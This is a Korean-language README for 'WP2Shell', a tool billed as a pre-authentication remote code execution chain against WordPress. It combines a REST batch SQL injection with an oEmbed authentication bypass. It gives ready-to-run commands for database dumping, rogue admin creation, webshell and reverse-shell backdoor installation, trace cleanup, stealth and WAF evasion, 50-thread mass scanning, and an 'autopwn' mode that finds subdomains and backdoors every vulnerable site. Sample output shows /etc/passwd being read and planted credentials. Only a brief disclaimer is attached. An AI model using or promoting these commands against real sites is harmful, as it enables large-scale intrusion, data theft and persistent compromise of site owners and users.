WP2Shell - WordPress 사전 인증 RCE 익스플로잇

CVE-2026-63030 + CVE-2026-60137
버전: 4.0.0
작성자: G0D150NE

📌 개요

WP2Shell은 WordPress 사전 인증 원격 코드 실행을 위한 전체 체인 익스플로잇 도구입니다. 두 가지 치명적인 취약점을 결합합니다:

CVE-2026-63030 - REST API 일괄(batch) 엔드포인트의 SQL 인젝션
CVE-2026-60137 - oEmbed 캐시 중독을 통한 인증 우회

이 도구는 취약한 WordPress 설치를 어떠한 인증 없이도 완전히 장악할 수 있게 해줍니다. 탐지부터 완전한 RCE 및 지속성 확보까지 가능합니다.

⚡ 기능

🔍 비파괴적 점검 - 안전한 취약점 확인
📊 다중 기법 데이터 추출 - UNION, 오류 기반, 블라인드 SQLi
🚀 전체 RCE 체인 - SQLi부터 관리자 계정 생성까지
🐚 웹셸 배포 - 숨겨진 플러그인 기반 백도어
🧹 정리 기능 - 모든 흔적 제거
📡 대량 스캔 - 다중 대상에 대한 스레드 기반 스캐너
🤖 자동 공격 모드 - 서브도메인 발견 + 자동 익스플로잇
🌐 프록시 순환 - 순환 프록시 지원
🕵️ 스텔스 모드 - 랜덤 지연 및 WAF 우회 기법

🔧 설치

# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell

# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py

🎯 사용법

명령 구조

python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]

사용 가능한 명령

🚀 예제

1. 취약점 확인

python3 wp2shell.py check https://target.com

python3 wp2shell.py check https://target.com --confirm-timing --sleep 5

2. 데이터 추출

기본 핑거프린트:

python3 wp2shell.py read https://target.com

사용자 추출:

python3 wp2shell.py read https://target.com --preset users

사용자 정의 쿼리:

python3 wp2shell.py read https://target.com --query "SELECT @@version"

전체 데이터베이스 덤프:

python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096

3. 전체 익스플로잇

기본 익스플로잇:

python3 wp2shell.py exploit https://target.com

대화형 셸이 포함된 익스플로잇:

python3 wp2shell.py exploit https://target.com --interactive

백도어 설치가 포함된 익스플로잇:

python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444

데이터베이스 덤프가 포함된 익스플로잇:

python3 wp2shell.py exploit https://target.com --dumpdb

정리(흔적 제거)가 포함된 익스플로잇:

python3 wp2shell.py exploit https://target.com --cleanup

4. 기존 관리자 자격 증명 사용

python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive

python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"

5. 대량 스캔

# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv

6. 자동 공격 모드 (완전 자동화)

python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100

다음 작업을 수행합니다:

crt.sh를 통해 서브도메인 발견
WordPress 설치 식별
취약한 모든 사이트 익스플로잇
성공한 대상에 백도어 설치

🎮 대화형 셸

익스플로잇 후 완전한 대화형 셸을 사용할 수 있습니다:

python3 wp2shell.py exploit https://target.com -i

[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit

🛡️ 옵션 참조

공통 옵션

읽기 명령 옵션

익스플로잇 명령 옵션

🔬 기술 세부 사항

취약점 체인

SQL 인젝션 (CVE-2026-63030)
- /wp-json/batch/v1 엔드포인트에서 발생
- author_exclude 매개변수가 시간 기반 블라인드 SQLi에 취약
- UNION 및 오류 기반 추출 허용
인증 우회 (CVE-2026-60137)
- /_embed 매개변수를 통한 oEmbed 캐시 중독
- 커스터마이저 변경 세트(customizer changeset)를 통해 관리자 사용자 생성 가능
- 권한 있는 계정 생성을 위한 재진입 체인 트리거

지원되는 WordPress 버전

추출 기법

📊 출력 예제

성공적인 익스플로잇

░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░      ░▒▓█▓▒░        
                                                                                                                                                                                                                            
  CVE-2026-63030 + CVE-2026-60137
  WordPress Pre-Auth RCE  [v4.0.0]
  + G0D150NE

[1/7] Reconnaissance
  Target: https://target.com
  WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)

[2/7] Enumerating target
[+] Discovered table prefix: wp_

[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/

[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered

[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]

[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain

[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
  uid: www-data

[+] ========================================================
[+]   TARGET COMPROMISED
[+]   Admin:  wp_service_a1b2 / G7hK9xQw2p$L!mN
[+]   Shell:  https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================

⚠️ 면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 명시적 허가 없이 시스템을 대상으로 사용하는 것은 불법입니다. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다.

📚 참조

CVE-2026-63030
CVE-2026-60137
WordPress 보안 권고
WP2Shell 기술 블로그

🤝 기여

버그를 발견했나요? 도구를 개선하고 싶으신가요? 풀 리퀘스트를 환영합니다!

저장소를 포크합니다
기능 브랜치를 생성합니다
변경 사항을 커밋합니다
브랜치에 푸시합니다
풀 리퀘스트를 엽니다

📄 라이선스

MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하세요.

`check`	비파괴적 취약점 확인
`read`	SQL 인젝션을 통한 데이터 추출
`exploit`	전체 사전 인증 RCE 체인
`shell`	기존 자격 증명으로 웹셸 배포
`masscan`	다중 대상 대량 스캔
`autopwn`	자동 발견 → 스캔 → 익스플로잇

`--timeout`	HTTP 타임아웃(초) (기본값: 30)
`--proxies`	쉼표로 구분된 프록시 목록 (예: http://127.0.0.1:8080)
`--stealth`	랜덤 지연이 포함된 스텔스 모드 활성화
`-v, --verbose`	디버그 출력 활성화
`-q, --quiet`	배너 및 정보 메시지 숨기기

`--prefix`	테이블 접두사 (기본값: wp_)
`--auto-prefix`	테이블 접두사 자동 발견
`--max-length`	값당 최대 문자 수 (기본값: 128)
`--technique`	추출 기법: auto/union/error/blind
`--preset`	데이터 프리셋: fingerprint/users/dumpall
`--query`	추출할 임의의 SQL 표현식

`--prefix`	테이블 접두사 (기본값: wp_)
`--no-discover`	자동 발견 건너뛰고 기본값 사용
`-i, --interactive`	익스플로잇 후 셸 진입
`-c, --command`	익스플로잇 후 단일 명령 실행
`--backdoor`	지속성 백도어 설치
`--lhost`	리버스 셸용 LHOST (기본값: 10.0.0.1)
`--lport`	리버스 셸용 LPORT (기본값: 4444)
`--dumpdb`	익스플로잇 후 데이터베이스 덤프
`--cleanup`	종료 시 생성된 사용자와 웹셸 삭제

6.9.0	✅ 취약
6.9.1	✅ 취약
6.9.2	✅ 취약
6.9.3	✅ 취약
6.9.4	✅ 취약
7.0.0	✅ 취약
7.0.1	✅ 취약
≥ 7.0.2	❌ 패치됨

UNION	⚡ 매우 빠름	무제한	대상이 UNION을 필터링하지 않아야 함
Error	🚀 빠름	요청당 약 30자	대상이 오류 메시지를 노출해야 함
Blind	🐢 느림	무제한	불리언 오라클 사용 가능

인기

WP2Shell